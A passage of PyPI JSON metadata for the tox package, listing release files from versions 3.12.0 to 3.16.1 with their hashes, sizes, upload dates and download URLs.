2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":79874,"upload_time":"2019-05-23T15:33:36","upload_time_iso_8601":"2019-05-23T15:33:36.658259Z","url":"https://files.pythonhosted.org/packages/31/ea/e0ba7245d82cd99ae35ab6b4e1927f75fd30f3382fcbbfe2a49d897f9a0e/tox-3.12.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"c16091f85e1cdaab2656e5c43589898d2a29d63a866775cd4c0c6df6b34f5e06","md5":"1539ce9162aa2c85f58091a95bf52cd8","sha256":"8febebed8aed099c8642ef91fdf4cafeabc1b4c73eb9601ff5c0ce56376dc2d7"},"downloads":-1,"filename":"tox-3.12.0.tar.gz","has_sig":false,"md5_digest":"1539ce9162aa2c85f58091a95bf52cd8","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":287352,"upload_time":"2019-05-23T15:33:38","upload_time_iso_8601":"2019-05-23T15:33:38.953767Z","url":"https://files.pythonhosted.org/packages/c1/60/91f85e1cdaab2656e5c43589898d2a29d63a866775cd4c0c6df6b34f5e06/tox-3.12.0.tar.gz","yanked":false,"yanked_reason":null}],"3.12.1":[{"comment_text":"","core-metadata":{"sha256":"5bb35fb1847c0d7775217df82d32951f44a35309ced9510ac448020a222ad620"},"digests":{"blake2b_256":"d0503daff59797eefc7c2574fbf58c7b82c599c0495e0639f656ba5f1f58cfa2","md5":"a8d4df84f64183b5a67d0fd25fb87d5d","sha256":"f5c8e446b51edd2ea97df31d4ded8c8b72e7d6c619519da6bb6084b9dd5770f9"},"downloads":-1,"filename":"tox-3.12.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"a8d4df84f64183b5a67d0fd25fb87d5d","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":79874,"upload_time":"2019-05-23T18:03:50","upload_time_iso_8601":"2019-05-23T18:03:50.849522Z","url":"https://files.pythonhosted.org/packages/d0/50/3daff59797eefc7c2574fbf58c7b82c599c0495e0639f656ba5f1f58cfa2/tox-3.12.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d192eee81660d319463bff05233f8fa316c99e13414af276744250265c354139","md5":"f7adf40941f6adc6657f63a23df32a24","sha256":"f87fd33892a2df0950e5e034def9468988b8d008c7e9416be665fcc0dd45b14f"},"downloads":-1,"filename":"tox-3.12.1.tar.gz","has_sig":false,"md5_digest":"f7adf40941f6adc6657f63a23df32a24","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":287477,"upload_time":"2019-05-23T18:03:53","upload_time_iso_8601":"2019-05-23T18:03:53.330870Z","url":"https://files.pythonhosted.org/packages/d1/92/eee81660d319463bff05233f8fa316c99e13414af276744250265c354139/tox-3.12.1.tar.gz","yanked":false,"yanked_reason":null}],"3.13.0":[{"comment_text":"","core-metadata":{"sha256":"c8771b28aed9e60024cfc3b9e37c6b2385b1987df120475b328ebb046f59fd14"},"digests":{"blake2b_256":"6d6a07edb326caf3bd16584a27f95e6e9c712db823469c09b4539b9c3e9b9a89","md5":"ff66d67cffd5fe7aaaf25097e62a5841","sha256":"2316d3f56339173c6d45e600dabcfac6fbed7fff82a7d35f4107152e9191a766"},"downloads":-1,"filename":"tox-3.13.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"ff66d67cffd5fe7aaaf25097e62a5841","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":80559,"upload_time":"2019-06-25T09:07:46","upload_time_iso_8601":"2019-06-25T09:07:46.190782Z","url":"https://files.pythonhosted.org/packages/6d/6a/07edb326caf3bd16584a27f95e6e9c712db823469c09b4539b9c3e9b9a89/tox-3.13.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b16a34536b8d39b1b4df5a933fe9a9db858e86a732c14de5f2775a47a889c09d","md5":"c78347da65f546e766c82cd89cbe7221","sha256":"66d9ccf81b383ab1edc1619410223eec0e046178304728797a850302092ed975"},"downloads":-1,"filename":"tox-3.13.0.tar.gz","has_sig":false,"md5_digest":"c78347da65f546e766c82cd89cbe7221","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":290051,"upload_time":"2019-06-25T09:07:48","upload_time_iso_8601":"2019-06-25T09:07:48.531952Z","url":"https://files.pythonhosted.org/packages/b1/6a/34536b8d39b1b4df5a933fe9a9db858e86a732c14de5f2775a47a889c09d/tox-3.13.0.tar.gz","yanked":false,"yanked_reason":null}],"3.13.1":[{"comment_text":"","core-metadata":{"sha256":"f9afd7f14ad0778c34da4e30836e948dba2f74b1ee6facfafaeba31efb40306d"},"digests":{"blake2b_256":"77dab57be69750b7974a2b844f2b335be57b88d6f43c129f0efcd942c1709896","md5":"c96eda963abe004b021510ba0bc1996f","sha256":"45a265e953368fb372cca3eac33b69fdb1b1453e5b114be231c84fc3dfadceed"},"downloads":-1,"filename":"tox-3.13.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"c96eda963abe004b021510ba0bc1996f","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":80560,"upload_time":"2019-06-25T22:28:32","upload_time_iso_8601":"2019-06-25T22:28:32.437396Z","url":"https://files.pythonhosted.org/packages/77/da/b57be69750b7974a2b844f2b335be57b88d6f43c129f0efcd942c1709896/tox-3.13.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d586c0081880b9c7d12d76fb4ea76a3f5fd0e3f5c07b782db159122be1725750","md5":"d7e1e53294bcab64b793e732d591fd13","sha256":"f5cb0b5b8d14f2100982b0981c750d840228180a348e6bad355aa38e949fbc3f"},"downloads":-1,"filename":"tox-3.13.1.tar.gz","has_sig":false,"md5_digest":"d7e1e53294bcab64b793e732d591fd13","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":289199,"upload_time":"2019-06-25T22:28:34","upload_time_iso_8601":"2019-06-25T22:28:34.037057Z","url":"https://files.pythonhosted.org/packages/d5/86/c0081880b9c7d12d76fb4ea76a3f5fd0e3f5c07b782db159122be1725750/tox-3.13.1.tar.gz","yanked":false,"yanked_reason":null}],"3.13.2":[{"comment_text":"","core-metadata":{"sha256":"9d3e819cf5066c4deed2f167d15ed74e7148f3c786d67c34d4eaac97f8f86a1a"},"digests":{"blake2b_256":"3f2166868fc9074e366d0dc6952c53c918230e772fd662e69b331bac7a67fcbe","md5":"dcbbb4c590263ece60e74e0d406bb1a2","sha256":"dab0b0160dd187b654fc33d690ee1d7bf328bd5b8dc6ef3bb3cc468969c659ba"},"downloads":-1,"filename":"tox-3.13.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"dcbbb4c590263ece60e74e0d406bb1a2","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":80644,"upload_time":"2019-07-01T19:17:47","upload_time_iso_8601":"2019-07-01T19:17:47.548182Z","url":"https://files.pythonhosted.org/packages/3f/21/66868fc9074e366d0dc6952c53c918230e772fd662e69b331bac7a67fcbe/tox-3.13.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9dfae3428607370756d134fe4c222658bad329cac419a01a6a88c84d8f1adaa6","md5":"0213e9c29ddadf92b4469e21c6dcf014","sha256":"ee35ffce74933a6c6ac10c9a0182e41763140a5a5070e21b114feca56eaccdcd"},"downloads":-1,"filename":"tox-3.13.2.tar.gz","has_sig":false,"md5_digest":"0213e9c29ddadf92b4469e21c6dcf014","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":290025,"upload_time":"2019-07-01T19:17:49","upload_time_iso_8601":"2019-07-01T19:17:49.752477Z","url":"https://files.pythonhosted.org/packages/9d/fa/e3428607370756d134fe4c222658bad329cac419a01a6a88c84d8f1adaa6/tox-3.13.2.tar.gz","yanked":false,"yanked_reason":null}],"3.14.0":[{"comment_text":"","core-metadata":{"sha256":"6f7ccc6d4947412bbdeab970582ca918c6926e26150b4bb7e958a1ec9e20fc92"},"digests":{"blake2b_256":"a70ced234b83d2c4fcef1cfccf97371183d51dafae62e64334de34d0a6333114","md5":"f84f7f6fdc9ff969b69c1aa0bfea9665","sha256":"0bc216b6a2e6afe764476b4a07edf2c1dab99ed82bb146a1130b2e828f5bff5e"},"downloads":-1,"filename":"tox-3.14.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"f84f7f6fdc9ff969b69c1aa0bfea9665","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":80538,"upload_time":"2019-09-03T16:08:23","upload_time_iso_8601":"2019-09-03T16:08:23.391148Z","url":"https://files.pythonhosted.org/packages/a7/0c/ed234b83d2c4fcef1cfccf97371183d51dafae62e64334de34d0a6333114/tox-3.14.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"75b01531ba32159d3633bc05bbfd7a519be6d5c358dadd290c0c84da53d177c2","md5":"9c14dca8b8b44a2a7ad0d6b7bb0ea76c","sha256":"c4f6b319c20ba4913dbfe71ebfd14ff95d1853c4231493608182f66e566ecfe1"},"downloads":-1,"filename":"tox-3.14.0.tar.gz","has_sig":false,"md5_digest":"9c14dca8b8b44a2a7ad0d6b7bb0ea76c","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":290733,"upload_time":"2019-09-03T16:08:25","upload_time_iso_8601":"2019-09-03T16:08:25.502815Z","url":"https://files.pythonhosted.org/packages/75/b0/1531ba32159d3633bc05bbfd7a519be6d5c358dadd290c0c84da53d177c2/tox-3.14.0.tar.gz","yanked":false,"yanked_reason":null}],"3.14.1":[{"comment_text":"","core-metadata":{"sha256":"11b9f3df7dbf3f15d1e9821713c2cba00932893836b238b94b599abee7bcc9e4"},"digests":{"blake2b_256":"cbe1e985796a601ad17876958a84c66209ace8e4db804e37f5cb01b6b154b62e","md5":"7f45d1a6c8c4aec6499b268c16db3c5b","sha256":"1d1368ac86e8332f79e2bcef9fefe2b077469f08449eadf0183759b34f3b2070"},"downloads":-1,"filename":"tox-3.14.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"7f45d1a6c8c4aec6499b268c16db3c5b","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":80836,"upload_time":"2019-11-13T17:15:56","upload_time_iso_8601":"2019-11-13T17:15:56.840764Z","url":"https://files.pythonhosted.org/packages/cb/e1/e985796a601ad17876958a84c66209ace8e4db804e37f5cb01b6b154b62e/tox-3.14.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"77dea0cd7de91f362a59ec689808ed2993b0578642247418840ae240cfdc4c66","md5":"395a7b8a95aef2ad35749e2f36a93f21","sha256":"bcfa3e40abc1e9b70607b56adfd976fe7dc8286ad56aab44e3151daca7d2d0d0"},"downloads":-1,"filename":"tox-3.14.1.tar.gz","has_sig":false,"md5_digest":"395a7b8a95aef2ad35749e2f36a93f21","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":297276,"upload_time":"2019-11-13T17:15:58","upload_time_iso_8601":"2019-11-13T17:15:58.654184Z","url":"https://files.pythonhosted.org/packages/77/de/a0cd7de91f362a59ec689808ed2993b0578642247418840ae240cfdc4c66/tox-3.14.1.tar.gz","yanked":false,"yanked_reason":null}],"3.14.2":[{"comment_text":"","core-metadata":{"sha256":"4b868654565eb4ed2eee5d2fbe38496554bec9406d4d1396c1b171f4c6467012"},"digests":{"blake2b_256":"a76473ee95a48a69fb40f9ce415cdeda09c0c2721da483aae0687884f3cb0586","md5":"6dd6e1eb8964b8dbeb600520f4020aec","sha256":"8dd653bf0c6716a435df363c853cad1f037f9d5fddd0abc90d0f48ad06f39d03"},"downloads":-1,"filename":"tox-3.14.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"6dd6e1eb8964b8dbeb600520f4020aec","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":80828,"upload_time":"2019-12-02T18:17:19","upload_time_iso_8601":"2019-12-02T18:17:19.306241Z","url":"https://files.pythonhosted.org/packages/a7/64/73ee95a48a69fb40f9ce415cdeda09c0c2721da483aae0687884f3cb0586/tox-3.14.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1fcc1759c97b5f3dfde76dbf939800943d117f3a503f4e25e5c31c75ba61796b","md5":"285da38d82c3d5ee9133a4114f28e5ea","sha256":"7efd010a98339209f3a8292f02909b51c58417bfc6838ab7eca14cf90f96117a"},"downloads":-1,"filename":"tox-3.14.2.tar.gz","has_sig":false,"md5_digest":"285da38d82c3d5ee9133a4114f28e5ea","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":297721,"upload_time":"2019-12-02T18:17:21","upload_time_iso_8601":"2019-12-02T18:17:21.510610Z","url":"https://files.pythonhosted.org/packages/1f/cc/1759c97b5f3dfde76dbf939800943d117f3a503f4e25e5c31c75ba61796b/tox-3.14.2.tar.gz","yanked":false,"yanked_reason":null}],"3.14.3":[{"comment_text":"","core-metadata":{"sha256":"6ca396f1740a947062dcdf78b95e89da6508d640d8c2f469c83bb1c74123e8fa"},"digests":{"blake2b_256":"77a7a5b721d9bf955edfe36013e5ecc9136fc6b2fef622ab1797ff0560273d8e","md5":"636e34bbe95b42896737a06eb051b73c","sha256":"806d0a9217584558cc93747a945a9d9bff10b141a5287f0c8429a08828a22192"},"downloads":-1,"filename":"tox-3.14.3-py2.py3-none-any.whl","has_sig":false,"md5_digest":"636e34bbe95b42896737a06eb051b73c","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":80947,"upload_time":"2019-12-28T10:58:39","upload_time_iso_8601":"2019-12-28T10:58:39.318481Z","url":"https://files.pythonhosted.org/packages/77/a7/a5b721d9bf955edfe36013e5ecc9136fc6b2fef622ab1797ff0560273d8e/tox-3.14.3-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1303e2d1d99dc55280982445b747e34bd26b8e7e88fcc563f015d653dc8cbab9","md5":"8b695d482786dd51643e10953bbd8c89","sha256":"06ba73b149bf838d5cd25dc30c2dd2671ae5b2757cf98e5c41a35fe449f131b3"},"downloads":-1,"filename":"tox-3.14.3.tar.gz","has_sig":false,"md5_digest":"8b695d482786dd51643e10953bbd8c89","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":298265,"upload_time":"2019-12-28T10:58:41","upload_time_iso_8601":"2019-12-28T10:58:41.566478Z","url":"https://files.pythonhosted.org/packages/13/03/e2d1d99dc55280982445b747e34bd26b8e7e88fcc563f015d653dc8cbab9/tox-3.14.3.tar.gz","yanked":false,"yanked_reason":null}],"3.14.4":[{"comment_text":"","core-metadata":{"sha256":"7928621206bc664e9ffcb2b23911f9bf948e83540d77664aeb01fa6f811c94f0"},"digests":{"blake2b_256":"b5d8f88f4c09a33995601b3103dde6220d46d7c60cfbf5df961690322248b495","md5":"7e8dd5181f6bfd456f6520b29f762925","sha256":"5c45d08f1dcc9bc97cdea3e5a69c8f4ad042cc37cbe6cf53e126f4a9005b7d3b"},"downloads":-1,"filename":"tox-3.14.4-py2.py3-none-any.whl","has_sig":false,"md5_digest":"7e8dd5181f6bfd456f6520b29f762925","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":81221,"upload_time":"2020-02-13T12:37:51","upload_time_iso_8601":"2020-02-13T12:37:51.375090Z","url":"https://files.pythonhosted.org/packages/b5/d8/f88f4c09a33995601b3103dde6220d46d7c60cfbf5df961690322248b495/tox-3.14.4-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"3656e9168273a5f470ea78d97b95c8759928bffd80d38d491a6bd2f413d71d5f","md5":"f0fd6528bdf9fb5fa1bb6b2705595529","sha256":"73e2ade68cd71a2765ee739ecc27c8c92e9b9c09acbad0f2c5307b20214e0d13"},"downloads":-1,"filename":"tox-3.14.4.tar.gz","has_sig":false,"md5_digest":"f0fd6528bdf9fb5fa1bb6b2705595529","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":299100,"upload_time":"2020-02-13T12:37:53","upload_time_iso_8601":"2020-02-13T12:37:53.527677Z","url":"https://files.pythonhosted.org/packages/36/56/e9168273a5f470ea78d97b95c8759928bffd80d38d491a6bd2f413d71d5f/tox-3.14.4.tar.gz","yanked":false,"yanked_reason":null}],"3.14.5":[{"comment_text":"","core-metadata":{"sha256":"f68eb55f373a2557be607148df7a41c5c011d27b0567a09bafeff2d7feca56b8"},"digests":{"blake2b_256":"3a21aa738f33db84be2caf89fae9d868320f7fc004329dd681cec4056d08cf75","md5":"0751454e2ca11b333be6711affad214c","sha256":"0cbe98369081fa16bd6f1163d3d0b2a62afa29d402ccfad2bd09fb2668be0956"},"downloads":-1,"filename":"tox-3.14.5-py2.py3-none-any.whl","has_sig":false,"md5_digest":"0751454e2ca11b333be6711affad214c","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":81736,"upload_time":"2020-02-17T00:21:28","upload_time_iso_8601":"2020-02-17T00:21:28.139561Z","url":"https://files.pythonhosted.org/packages/3a/21/aa738f33db84be2caf89fae9d868320f7fc004329dd681cec4056d08cf75/tox-3.14.5-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5be1138ed5fa49ca20fdc05ab52f260276f9d0a1b464af831b43231f9df1f185","md5":"2b1009fa3c1280750d5ace18f0117e66","sha256":"676f1e3e7de245ad870f956436b84ea226210587d1f72c8dfb8cd5ac7b6f0e70"},"downloads":-1,"filename":"tox-3.14.5.tar.gz","has_sig":false,"md5_digest":"2b1009fa3c1280750d5ace18f0117e66","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":299601,"upload_time":"2020-02-17T00:21:30","upload_time_iso_8601":"2020-02-17T00:21:30.100092Z","url":"https://files.pythonhosted.org/packages/5b/e1/138ed5fa49ca20fdc05ab52f260276f9d0a1b464af831b43231f9df1f185/tox-3.14.5.tar.gz","yanked":false,"yanked_reason":null}],"3.14.6":[{"comment_text":"","core-metadata":{"sha256":"3079a55a138bb8911ca2f199e6556de0903b0efd40cd7ed49a6785bfc6f72ccd"},"digests":{"blake2b_256":"7b4ba90a0a89db60fc39fc92e31e7da436177a12c06038973c8b7199f47b47c0","md5":"fe06107b8cb14e9f455bc8740300ef1d","sha256":"b2c4b91c975ea5c11463d9ca00bebf82654439c5df0f614807b9bdec62cc9471"},"downloads":-1,"filename":"tox-3.14.6-py2.py3-none-any.whl","has_sig":false,"md5_digest":"fe06107b8cb14e9f455bc8740300ef1d","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":81778,"upload_time":"2020-03-25T10:34:50","upload_time_iso_8601":"2020-03-25T10:34:50.780383Z","url":"https://files.pythonhosted.org/packages/7b/4b/a90a0a89db60fc39fc92e31e7da436177a12c06038973c8b7199f47b47c0/tox-3.14.6-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"c07f46ff5bae3cef87400719e65de5f6b488699687a2e8a3a02f91c89c775aeb","md5":"ec290b6e346adbce380bd9276f1f87aa","sha256":"a4a6689045d93c208d77230853b28058b7513f5123647b67bf012f82fa168303"},"downloads":-1,"filename":"tox-3.14.6.tar.gz","has_sig":false,"md5_digest":"ec290b6e346adbce380bd9276f1f87aa","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":300025,"upload_time":"2020-03-25T10:34:52","upload_time_iso_8601":"2020-03-25T10:34:52.608225Z","url":"https://files.pythonhosted.org/packages/c0/7f/46ff5bae3cef87400719e65de5f6b488699687a2e8a3a02f91c89c775aeb/tox-3.14.6.tar.gz","yanked":false,"yanked_reason":null}],"3.15.0":[{"comment_text":"","core-metadata":{"sha256":"d964b34f3d66ac3f4e2c669048aa3c14ad63737b01605e98be486024f63e409c"},"digests":{"blake2b_256":"377014b3fac1447864facfea2b604d531d8ece2380fec3fbb6938f4b38ecb217","md5":"53a7424e7c1becde3c81f47b9b6b1242","sha256":"8d97bfaf70053ed3db56f57377288621f1bcc7621446d301927d18df93b1c4c3"},"downloads":-1,"filename":"tox-3.15.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"53a7424e7c1becde3c81f47b9b6b1242","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":82108,"upload_time":"2020-05-02T16:53:10","upload_time_iso_8601":"2020-05-02T16:53:10.593850Z","url":"https://files.pythonhosted.org/packages/37/70/14b3fac1447864facfea2b604d531d8ece2380fec3fbb6938f4b38ecb217/tox-3.15.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"f1bca3b7fcacf763b23c047cf25e52708855bda873e48022a69a8e74a0387aeb","md5":"a48deb2a14e5c2a27a014e3fdde3a3bf","sha256":"af09c19478e8fc7ce7555b3d802ddf601b82684b874812c5857f774b8aee1b67"},"downloads":-1,"filename":"tox-3.15.0.tar.gz","has_sig":false,"md5_digest":"a48deb2a14e5c2a27a014e3fdde3a3bf","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":301946,"upload_time":"2020-05-02T16:53:12","upload_time_iso_8601":"2020-05-02T16:53:12.158915Z","url":"https://files.pythonhosted.org/packages/f1/bc/a3b7fcacf763b23c047cf25e52708855bda873e48022a69a8e74a0387aeb/tox-3.15.0.tar.gz","yanked":false,"yanked_reason":null}],"3.15.1":[{"comment_text":"","core-metadata":{"sha256":"c81726b13b86973cad4e8bd6c0c789e7ce9f52389364859dacdc5d6b2f720dbf"},"digests":{"blake2b_256":"ba094fc374b109aa010455bccc36a215ea9e84c090555ba27854a8ead7379b82","md5":"30b6e3c2cdfc386086d4c0f7562c5f89","sha256":"322dfdf007d7d53323f767badcb068a5cfa7c44d8aabb698d131b28cf44e62c4"},"downloads":-1,"filename":"tox-3.15.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"30b6e3c2cdfc386086d4c0f7562c5f89","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":82108,"upload_time":"2020-05-20T13:44:58","upload_time_iso_8601":"2020-05-20T13:44:58.296159Z","url":"https://files.pythonhosted.org/packages/ba/09/4fc374b109aa010455bccc36a215ea9e84c090555ba27854a8ead7379b82/tox-3.15.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"31203daf87b70ce61deecdf7ab5092ae03a29cd8c87ecb04080d3717f1578a88","md5":"33147edbe56c4c652176e0686fa3f4cd","sha256":"8c9ad9b48659d291c5bc78bcabaa4d680d627687154b812fa52baedaa94f9f83"},"downloads":-1,"filename":"tox-3.15.1.tar.gz","has_sig":false,"md5_digest":"33147edbe56c4c652176e0686fa3f4cd","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":302061,"upload_time":"2020-05-20T13:44:59","upload_time_iso_8601":"2020-05-20T13:44:59.914815Z","url":"https://files.pythonhosted.org/packages/31/20/3daf87b70ce61deecdf7ab5092ae03a29cd8c87ecb04080d3717f1578a88/tox-3.15.1.tar.gz","yanked":false,"yanked_reason":null}],"3.15.2":[{"comment_text":"","core-metadata":{"sha256":"52154f96b177d664a6c9addab63ee01a07266bb1afc619f9545f3892025d2dc6"},"digests":{"blake2b_256":"c636b0e6016724ae598ba30168618a91d3ee2d7510c20cb05deb8cdc3f7d53b3","md5":"f68daa7731f3bf298a0921ae956598bb","sha256":"50a188b8e17580c1fb931f494a754e6507d4185f54fb18aca5ba3e12d2ffd55e"},"downloads":-1,"filename":"tox-3.15.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"f68daa7731f3bf298a0921ae956598bb","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":137060,"upload_time":"2020-06-06T08:44:00","upload_time_iso_8601":"2020-06-06T08:44:00.575639Z","url":"https://files.pythonhosted.org/packages/c6/36/b0e6016724ae598ba30168618a91d3ee2d7510c20cb05deb8cdc3f7d53b3/tox-3.15.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"3633f772c9d75572871348c7df7f7a3aeca2607b05ce58606f61cb0d36b7d288","md5":"cad300222f78feed8fc77fb631dd22ba","sha256":"c696d36cd7c6a28ada2da780400e44851b20ee19ef08cfe73344a1dcebbbe9f3"},"downloads":-1,"filename":"tox-3.15.2.tar.gz","has_sig":false,"md5_digest":"cad300222f78feed8fc77fb631dd22ba","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":303545,"upload_time":"2020-06-06T08:44:02","upload_time_iso_8601":"2020-06-06T08:44:02.637254Z","url":"https://files.pythonhosted.org/packages/36/33/f772c9d75572871348c7df7f7a3aeca2607b05ce58606f61cb0d36b7d288/tox-3.15.2.tar.gz","yanked":false,"yanked_reason":null}],"3.16.0":[{"comment_text":"","core-metadata":{"sha256":"603c3f2df3b89075318729724666db1659df79bcc3bf11440887e5d28590b9a2"},"digests":{"blake2b_256":"27901d32a2b45fe19dde02d968ca9bc18a21c0448cc3aa62dbf81f50dbe2389e","md5":"ac766fc1bcd6543ce84b98a6ebc02081","sha256":"a0d36849e59ac4a28664e80951a634b0e920d88047ce3fa8fa7b45216e573f30"},"downloads":-1,"filename":"tox-3.16.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"ac766fc1bcd6543ce84b98a6ebc02081","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":82538,"upload_time":"2020-06-26T19:28:25","upload_time_iso_8601":"2020-06-26T19:28:25.661537Z","url":"https://files.pythonhosted.org/packages/27/90/1d32a2b45fe19dde02d968ca9bc18a21c0448cc3aa62dbf81f50dbe2389e/tox-3.16.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"0b71e32e3c755528ce6bd476cba4471d05c9c2373808f375cb6d93711bb06c77","md5":"6bcb12de99ac973d97f2bc8f179e8bc7","sha256":"db12b48359ba2cbc8c8f7ab712706ee67d59f8f9e8e0c795dcc45349b8784e48"},"downloads":-1,"filename":"tox-3.16.0.tar.gz","has_sig":false,"md5_digest":"6bcb12de99ac973d97f2bc8f179e8bc7","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":303256,"upload_time":"2020-06-26T19:28:27","upload_time_iso_8601":"2020-06-26T19:28:27.854783Z","url":"https://files.pythonhosted.org/packages/0b/71/e32e3c755528ce6bd476cba4471d05c9c2373808f375cb6d93711bb06c77/tox-3.16.0.tar.gz","yanked":false,"yanked_reason":null}],"3.16.1":[{"comment_text":"","core-metadata":{"sha256":"3347ea77fbe70f979be28e19ee0d79f19d1367e6e9f7d4023b7d025e06061c54"},"digests":{"blake2b_256":"ad0d773800b6649e1994e1726dc64b0e212896955f38f7d8dc7000bdea47930d","md5":"87d557eb785e2a6a85e77a0606286f70","sha256":"60c3793f8ab194097ec75b5a9866138444f63742b0f664ec80be1222a40687c5"},"downloads":-1,"filename":"tox-3.16.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"87d557eb785e2a6a85e77a0606286f70","packagetyp